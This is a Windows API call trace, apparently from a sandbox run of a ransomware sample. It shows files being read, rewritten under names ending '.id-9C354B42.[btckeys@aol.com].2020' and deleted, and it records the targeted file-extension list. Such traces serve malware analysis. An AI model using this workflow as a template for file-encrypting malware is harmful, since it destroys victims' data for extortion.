[0073.649] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0074.051] GetTickCount () returned 0x1147c9f [0074.051] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0074.295] GetTickCount () returned 0x1147d5b [0074.295] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0074.639] GetTickCount () returned 0x1147eb2 [0074.639] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0075.135] GetTickCount () returned 0x11480a5 [0075.135] GetTickCount () returned 0x11480a5 [0075.135] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0075.585] GetTickCount () returned 0x114824a [0075.585] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0076.094] GetTickCount () returned 0x114844d [0076.094] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0076.556] GetTickCount () returned 0x1148611 [0076.556] GetTickCount () returned 0x1148611 [0076.556] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0076.833] GetTickCount () returned 0x114872a [0076.833] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.113] GetTickCount () returned 0x1148843 [0077.113] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.458] GetTickCount () returned 0x114899a [0077.458] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.915] GetTickCount () returned 0x1148b4f [0077.915] GetTickCount () returned 0x1148b4f [0077.915] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.414] GetTickCount () returned 0x1148ca6 [0078.414] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.513] GetTickCount () returned 0x1148d13 [0078.513] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.626] GetTickCount () returned 0x1148d81 [0078.626] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.888] GetTickCount () returned 0x1148e8a [0078.888] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0079.258] GetTickCount () returned 0x1148ff1 [0079.258] GetTickCount () returned 0x1148ff1 [0079.258] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0079.580] GetTickCount () returned 0x1149138 [0079.580] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0079.823] GetTickCount () returned 0x1149232 [0079.823] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0080.347] GetTickCount () returned 0x1149435 [0080.347] GetTickCount () returned 0x1149435 [0080.347] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0080.490] GetTickCount () returned 0x11494c1 [0080.490] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0080.587] GetTickCount () returned 0x114952e [0080.587] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0080.880] GetTickCount () returned 0x1149647 [0080.880] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0081.156] GetTickCount () returned 0x1149760 [0081.156] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0081.471] GetTickCount () returned 0x1149898 [0081.471] GetTickCount () returned 0x1149898 [0081.471] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0081.911] GetTickCount () returned 0x1149a4d [0081.911] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0082.249] GetTickCount () returned 0x1149ba4 [0082.249] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0082.967] GetTickCount () returned 0x1149e72 [0082.967] GetTickCount () returned 0x1149e72 [0082.967] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0083.326] GetTickCount () returned 0x1149fc9 [0083.326] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0xa7c [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x5302e0 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x5402e8 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002d8 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4ea370 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002f0 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3530020 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500308 [0060.791] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500308, Size=0x20) returned 0x52f910 [0060.791] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500308 [0060.791] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500308, Size=0x20) returned 0x52f938 [0060.791] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.792] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.792] Wow64DisableWow64FsRedirection (in: OldValue=0x23aff58 | out: OldValue=0x23aff58*=0x0) returned 1 [0060.792] lstrlenW (lpString="kernel32.dll") returned 12 [0060.792] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.792] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.792] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.792] Sleep (dwMilliseconds=0x64) [0060.989] lstrcmpiW (lpString1=".ini", lpString2=".2020") returned 1 [0060.989] lstrlenW (lpString="desktop.ini") returned 11 [0060.990] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.990] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=129) returned 1 [0060.990] CloseHandle (hObject=0x168) returned 1 [0060.991] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0060.997] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0060.998] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.998] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0060.998] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0060.998] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0060.999] GetLastError () returned 0x0 [0060.999] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x81, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x16c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x90, lpOverlapped=0x0) returned 1 [0061.014] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0061.014] WriteFile (in: hFile=0x16c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.014] SetEndOfFile (hFile=0x16c) returned 1 [0061.014] CloseHandle (hObject=0x16c) returned 1 [0061.016] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.016] SetEndOfFile (hFile=0x168) returned 1 [0061.017] CloseHandle (hObject=0x168) returned 1 [0061.017] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x26) returned 1 [0061.018] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0061.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.018] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.018] lstrlenW (lpString=".doc") returned 4 [0061.018] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.018] lstrlenW (lpString=".docx") returned 5 [0061.018] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.018] lstrlenW (lpString=".pdf") returned 4 [0061.018] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.018] lstrlenW (lpString=".xls") returned 4 [0061.018] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.018] lstrlenW (lpString=".xlsx") returned 5 [0061.018] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.019] lstrlenW (lpString=".ppt") returned 4 [0061.019] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString=".zip") returned 4 [0061.019] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.019] lstrlenW (lpString=".rar") returned 4 [0061.019] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.019] lstrlenW (lpString=".bz2") returned 4 [0061.019] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.019] lstrlenW (lpString=".7z") returned 3 [0061.019] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString=".dbf") returned 4 [0061.019] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString=".1cd") returned 4 [0061.019] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString=".jpg") returned 4 [0061.019] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.019] lstrlenW (lpString=".doc") returned 4 [0061.019] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.019] lstrlenW (lpString=".docx") returned 5 [0061.019] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.019] lstrlenW (lpString=".pdf") returned 4 [0061.019] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.020] lstrlenW (lpString=".xls") returned 4 [0061.020] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.020] lstrlenW (lpString=".xlsx") returned 5 [0061.020] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.020] lstrlenW (lpString=".ppt") returned 4 [0061.020] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.020] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.020] lstrlenW (lpString=".zip") returned 4 [0061.020] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.020] lstrlenW (lpString=".rar") returned 4 [0061.020] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.020] lstrlenW (lpString=".bz2") returned 4 [0061.020] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.020] lstrlenW (lpString=".7z") returned 3 [0061.020] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.020] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.020] lstrlenW (lpString=".dbf") returned 4 [0061.020] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.020] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.020] lstrlenW (lpString=".1cd") returned 4 [0061.020] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.020] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0061.020] lstrlenW (lpString=".jpg") returned 4 [0061.020] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.020] lstrcmpiW (lpString1=".LOG", lpString2=".2020") returned 1 [0061.021] lstrlenW (lpString="BCD.LOG") returned 7 [0061.021] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.021] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.021] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.021] lstrlenW (lpString=".doc") returned 4 [0061.021] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0061.021] lstrlenW (lpString=".docx") returned 5 [0061.021] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0061.021] lstrlenW (lpString=".pdf") returned 4 [0061.021] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0061.021] lstrlenW (lpString=".xls") returned 4 [0061.021] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0061.021] lstrlenW (lpString=".xlsx") returned 5 [0061.021] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0061.021] lstrlenW (lpString=".ppt") returned 4 [0061.021] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0061.021] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.021] lstrlenW (lpString=".zip") returned 4 [0061.021] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0061.021] lstrlenW (lpString=".rar") returned 4 [0061.021] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0061.021] lstrlenW (lpString=".bz2") returned 4 [0061.021] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0061.021] lstrlenW (lpString=".7z") returned 3 [0061.021] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString=".dbf") returned 4 [0061.022] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString=".1cd") returned 4 [0061.022] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString=".jpg") returned 4 [0061.022] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString=".doc") returned 4 [0061.022] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0061.022] lstrlenW (lpString=".docx") returned 5 [0061.022] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0061.022] lstrlenW (lpString=".pdf") returned 4 [0061.022] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0061.022] lstrlenW (lpString=".xls") returned 4 [0061.022] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0061.022] lstrlenW (lpString=".xlsx") returned 5 [0061.022] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0061.022] lstrlenW (lpString=".ppt") returned 4 [0061.022] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0061.022] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.022] lstrlenW (lpString=".zip") returned 4 [0061.022] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0061.022] lstrlenW (lpString=".rar") returned 4 [0061.022] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0061.023] lstrlenW (lpString=".bz2") returned 4 [0061.023] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0061.023] lstrlenW (lpString=".7z") returned 3 [0061.023] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0061.023] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.023] lstrlenW (lpString=".dbf") returned 4 [0061.023] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0061.023] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.023] lstrlenW (lpString=".1cd") returned 4 [0061.023] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0061.023] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0061.023] lstrlenW (lpString=".jpg") returned 4 [0061.023] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0061.023] lstrcmpiW (lpString1=".DAT", lpString2=".2020") returned 1 [0061.023] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0061.023] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.365] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=65536) returned 1 [0061.365] CloseHandle (hObject=0x164) returned 1 [0061.365] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0061.365] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.365] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.365] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.365] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.365] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.366] GetLastError () returned 0x0 [0061.366] ReadFile (in: hFile=0x164, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x10000, lpOverlapped=0x0) returned 1 [0061.368] WriteFile (in: hFile=0x168, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x10010, lpOverlapped=0x0) returned 1 [0061.370] ReadFile (in: hFile=0x164, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0061.370] WriteFile (in: hFile=0x168, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.371] SetEndOfFile (hFile=0x168) returned 1 [0061.371] CloseHandle (hObject=0x168) returned 1 [0061.372] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0061.373] SetEndOfFile (hFile=0x164) returned 1 [0061.374] CloseHandle (hObject=0x164) returned 1 [0061.374] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x26) returned 1 [0061.374] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0061.374] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.374] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.374] lstrlenW (lpString=".doc") returned 4 [0061.374] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".docx") returned 5 [0061.375] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0061.375] lstrlenW (lpString=".pdf") returned 4 [0061.375] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".xls") returned 4 [0061.375] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".xlsx") returned 5 [0061.375] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0061.375] lstrlenW (lpString=".ppt") returned 4 [0061.375] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString=".zip") returned 4 [0061.375] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".rar") returned 4 [0061.375] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".bz2") returned 4 [0061.375] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0061.375] lstrlenW (lpString=".7z") returned 3 [0061.375] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString=".dbf") returned 4 [0061.375] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString=".1cd") returned 4 [0061.375] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString=".jpg") returned 4 [0061.375] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.375] lstrlenW (lpString=".doc") returned 4 [0061.375] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0061.375] lstrlenW (lpString=".docx") returned 5 [0061.376] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0061.376] lstrlenW (lpString=".pdf") returned 4 [0061.376] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString=".xls") returned 4 [0061.376] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString=".xlsx") returned 5 [0061.376] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0061.376] lstrlenW (lpString=".ppt") returned 4 [0061.376] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.376] lstrlenW (lpString=".zip") returned 4 [0061.376] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString=".rar") returned 4 [0061.376] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString=".bz2") returned 4 [0061.376] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0061.376] lstrlenW (lpString=".7z") returned 3 [0061.376] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0061.376] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.376] lstrlenW (lpString=".dbf") returned 4 [0061.376] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0061.376] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.376] lstrlenW (lpString=".1cd") returned 4 [0061.376] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0061.376] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.376] lstrlenW (lpString=".jpg") returned 4 [0061.376] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0061.376] Sleep (dwMilliseconds=0x64) [0062.154] Sleep (dwMilliseconds=0x64) [0062.391] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.391] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0062.391] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 